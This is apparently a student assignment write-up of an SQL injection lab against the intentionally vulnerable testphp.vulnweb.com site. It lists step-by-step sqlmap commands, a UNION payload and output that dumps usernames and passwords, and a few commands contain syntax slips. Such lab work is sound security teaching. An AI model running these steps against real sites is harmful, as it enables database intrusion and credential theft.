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Assignment 1

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SQL Injection Attack

SQL injection, also known as SQLI, is a common attack vector that uses malicious SQL code for backend database manipulation to access information that was not intended to be displayed. SQL injection is one of the most common web hacking techniques. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system.

In this assignment we had to perform an SQL injection attack on a live vulnerable website such as <http://www.vulnweb.com/>. The SQL injection attack I performed is on the 'Acuart' domain.

First of all, I installed sqlmap on my Kali Linux using the '*sudo apt install sqlmap*' command. After that I ran the relevant commands to perform the SQL injection attack to retrieve or fetch username, password, email and phone number.

So, to begin with

1. The first command I ran was *sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -dbs*.

This command is used to fetch the databases in the given website. This command displays the names of the databases in a table form. It was as follows:

```
Payload: artist=1 AND 1855=1855
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: artist=-8109 UNION ALL SELECT NULL,CONCAT(0x717a707071,0x7a6a5a636e4249615871466a586c481777648756a507664454264696576714a765572726d797a,0x7171707871),NULL --
[03:36:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL 8
[03:36:43] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
```

2. The next command I ran was the *sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart --tables*. This command selects the 'acuart' database to display its information regarding the tables as defined by --tables. The contents of the table are then displayed.

```
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL 8
[03:40:47] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----+
| artists |
| carts   |
| categ   |
| featured |
| guestbook |
| pictures |
| products |
| users   |
+-----+
```

3. Next we had the ***sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --D acuart -T users columns*** command. This selects the 'users' table and displays the columns of that users table.

```
[03:42:35] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL 8
[03:42:35] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| address | mediumtext |
| cart | varchar(100) |
| cc | varchar(100) |
| email | varchar(100) |
| name | varchar(100) |
| pass | varchar(100) |
| phone | varchar(100) |
| uname | varchar(100) |
+-----+-----+
```

4. The next command I ran was ***sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C uname -dump***. This command targets the 'uname' column of the user's table. This displays the uname or the username which is 'test'.

```
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL 8
[03:44:14] [INFO] fetching entries of column(s) 'uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-----+
| uname |
+-----+
| test |
+-----+
```

5. Then, ***sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C pass -dump*** was executed. This is same as the previous command, but it displays the 'pass' column of the users table. Hence it displays the password which is found to be 'test' as shown in the screenshot.

```
[03:45:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL 8
[03:45:48] [INFO] fetching entries of column(s) 'pass' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-----+
| pass |
+-----+
| test |
+-----+
```

6. ***sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C email -dump***
sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C phone -dump
I also managed to fetch the email and phone number using the similar commands.



Hence with this we have successfully performed our SQL Injection Attack resulting in us finding the username and password for the admin panel of the website. We can use this username and password to login.

7. Testing the fetched data after the SQL Injection attack to show successful exploitation

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Username :

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 Signup disabled. Please use the username **test** and the password **test**.

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To sum up, these are the commands I executed.

1. `sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --dbs`
2. `sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart --tables`
3. `sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --D acuart -T users columns`
4. `sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C uname --dump`
5. `sqlmap -u testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C pass --dump`